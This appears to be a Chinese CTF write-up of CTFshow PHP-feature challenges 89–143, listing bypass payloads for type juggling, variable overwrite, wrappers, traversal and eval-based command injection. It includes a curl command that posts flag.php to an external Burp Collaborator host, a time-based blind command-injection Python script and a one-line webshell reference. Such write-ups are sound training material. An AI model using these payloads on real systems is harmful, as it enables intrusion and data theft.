CTFshowPHP特性
89
数组绕过
intval()用于获取变量的整数值
intval() 函数通过使用指定的进制base转换(默认是十进制),返回变量var的integer数值。intval()不能用于object,否则会产生E_NOTICE错误并返回1。
语法
int intval ( mixed $var [, int $base = 10 ] )90
十六进制
91
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
//m代表多行匹配,换行符加php即可
//cmd=%0Aphp92
同90
93
滤了16进制,使用8进制绕过
?num=01057494
全等用小数绕过
?num=4476.0195
小数点没了,用八进制加正号绕过0过滤
?num=+01057496
?u=./flag.php97
md5强相等数组绕过
a[]=1&b[]=298
分析代码
3.	$_GET?$_GET=&$_POST:'flag';
    if ($_GET) {			//只要有输入的get参数
        $_GET = &$_POST; //就将get方法改变为post方法(修改了get方法的地址)
        				// 比如$_GET[a] = &$_POST[a],get传a无作用,必须用POST
    } else {
        "flag";
    }
4、5行无作用
6.	highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
    if ($_GET['HTTP_FLAG'] == 'flag') { //需要满足这个条件就可以输出flag
        highlight_file($flag);			//因为没有ctfshow{xxxxx}这个文件,所以会产生报错
        								//进而我们可以看到flag内容
    } else {
        highlight_file(__FILE__);
    }
构造POST
HTTP_FLAG=flag
再添加任意get参数即可99
in_array函数如果不设置strict参数为真则进行若比较,1.php==1
payload:n=1.php
POST
content=一句话木马100
在PHP中,=赋值运算符优先级高于and,所以语句执行是v0=is_numeric(v1),传入v1为数字即可
?v1=1&v2=var_dump($ctfshow)&v3=;101
反射类
顾名思义,就是一个类的反射(废话么不是)
下面是例子
class fuc { //定义一个类
 static
 function ec() {
  echo '我是一个类';
 }
}
$class=new ReflectionClass('fuc'); //建立 fuc这个类的反射类
$fuc=$class->newInstance(); //相当于实例化 fuc 类
$fuc->ec(); //执行 fuc 里的方法ec
$ec=$class->getmethod('ec'); //获取fuc 类中的ec方法
$fuc=$class->newInstance(); //实例化
$ec->invoke($fuc);   //执行ec 方法Payload
?v1=1&v2=echo new Reflectionclass&v3=;102
先转base64再转16进制完成绕过103
同上
104
没验证直接传俩一样的呗
105
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
多种操作方法
通过die($error)输出
payload:a=flag 
POST: error=a
进行的操作为
$a=$flag;
$error=$a;
此时$a=flag{test123};$error=flag{test123};从而输出error也就是输出flag
通过die($suces)
payload:suces=flag&flag=
进行的操作为
$suces=$flag;
106
构造数组或弱相等绕过
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m107
parse_str函数,将字符串解析成多个变量
$a="x=1&y=2";
parse_str($a,$b);
此时$b['x']为1,$b['y']为2
paylaod:?v3=1
POST
v1=flag=c4ca4238a0b923820dcc509a6f75849b108
正则表达式%00截断,正则表达式只会匹配%00之前的内容
strrev()//反转字符串
intval()//取整数
payload:?c=a%00778109
eval("echo new $v1($v2());");
//构造使得v1名称的类存在后面任意构造即可110
FilesystemIterator类的使用
$a=new FilesystemIterator(getcwd());
while($a->valid()){
  echo $a->getFilename()."\n";
  $a->next();
}
迭代输出当前目录下的内容
getcwd()//取得当前工作目录111
v1要在正则中等于ctfshow,执行的语句就是
$ctfshow=&$(v2的值);
var_dump($ctfshow);
相当于执行了
var_dump($(v2的值));
令v2=GLOBALS超全局变量即可将所有变量打印
payload:?v1=ctfshow&v2=GLOBALS112
URL二次编码,题目中把base64滤过了,对b进行二次URL编码即可,传入php时进行一次解码,调用php伪协议时再有一次113
压缩流读取
payload:?file=compress.zlib:///var/www/html/flag.php114
php://filter115
在数字前加上空格,也会被is_numeric函数认为是数字
trim函数会过滤空格以及\n\r\t\v\0,但不会过滤\f
最终payload:urlencode(“\f”.36)
123
PHP变量名应该只有数字字母下划线,同时GET或POST方式传进去的变量名,会自动将空格,+,.,[转换为_,但是当有特殊字符[时,后面的内容中就不会替换了
payload:
POST:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag125
CTF_SHOW=1&CTF[SHOW.COM=1&fun=var_export(get_defined_vars())
CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[1])
?1=flag.php126
1、cli模式(命令行)下
第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数
2、web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]//这里的这个参数就是GET请求中?后的内容
$argv,$argc在web模式下不适用payload:?$fl0g=flag_give_me;
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])127
前面的自动转换咯
128
小知识点: _()是一个函数
_()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll
get_defined_vars()函数
get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag
payload: ?f1=_&f2=get_defined_vars129
目录穿越
payload:?f=/ctfshow/../../../../var/www/html/flag.php 130
正则/.+?ctfshow/is
stripos($f, ‘ctfshow’) === FALSE
stripos返回位置从0开始,未查找到才返回false,在严格相等中不相等
直接绕
f=ctfshow
131
传个超过一百万长度的字符就好啦
f='kkkk'*250000+'36Dctfshow'
#python真好用132
robots.txt进admin
对于“与”(&&) 运算: x && y 当x为false时,直接跳过,不执行y;
对于“或”(||) 运算 : x||y 当x为true时,直接跳过,不执行y。
在判断这个的时候if($code === mt_rand(1,0x36D) && $password === $flag || $username ===”admin”) 第一个$code === mt_rand(1,0x36D)为false,之后就执行|| $username ===”admin”
后面有或,所以满足username===’admin’即可
payload:/admin/?code=admin&password=&username=admin133
我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令
**那为什么会这样?**
因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数
这个函数的作用是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行。
而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是
`$F`;
$F变量内容就是我们最终执行的内容使用一把burp自带的功能,Burp Collaborator,相较于DNSLog的好处就是可以带出POST信息,也可以携带Cookie
还有curl命令的使用
payload:?F=`$F`;+curl -X POST -F xx=@flag.php  http://whhi73p89wxl0oghis6zcslnue04ot.burpcollaborator.net
134
php变量覆盖 利用点是 extract($_POST); 进行解析$_POST数组。 先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表。
payload: ?_POST[key1]=36d&_POST[key2]=36d135
同之前或者直接mv改名
payload:?F=`$F`;+mv flag.php flag.txt;136
ban了一堆命令,需要回显,使用Linux tee命令
Tee是Linux命令,用于显示程序的输出并将其复制到一个文件中。
命令|tee 输出文件payload:?c=tac /f149_15_h3r3|tee 1
查看/1文件即可137
call_user_func()来调用一个类里面的方法时,使用::如class::function
payload:
POST
ctfshow=ctfshow::getFlag138
调用还能传数组
payload:
POST
ctfshow[]=ctfshow&ctfshow[]=getFlag139
自动跳转我谢谢你啊
我是真妹想到这玩意还能盲注
import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"#获取小写字母与数字
result=""
key=0
for j in range(1,45):
	print(j)
	if key==1:
		break
	for n in str:
		payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
		#print(payload)
		url="http://13f3a3cd-22e6-4922-a7eb-431f62263a4f.challenge.ctf.show/?c="+payload
		try:
			requests.get(url,timeout=(2.5,2.5))	#time()第一个参数是响应时间,第二个是读取时间
		except:
		    result=result+n
		    print(result)
		    break140
intval把字符串转成0,0==’字符串’结果为真
找俩函数返回值为字符串就行
payload:
POST
f1=md5&f2=phpinfo141
使用取反法
payload:
?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5);-&v2=1142
各种进制取零就行
143
过滤了取反字符,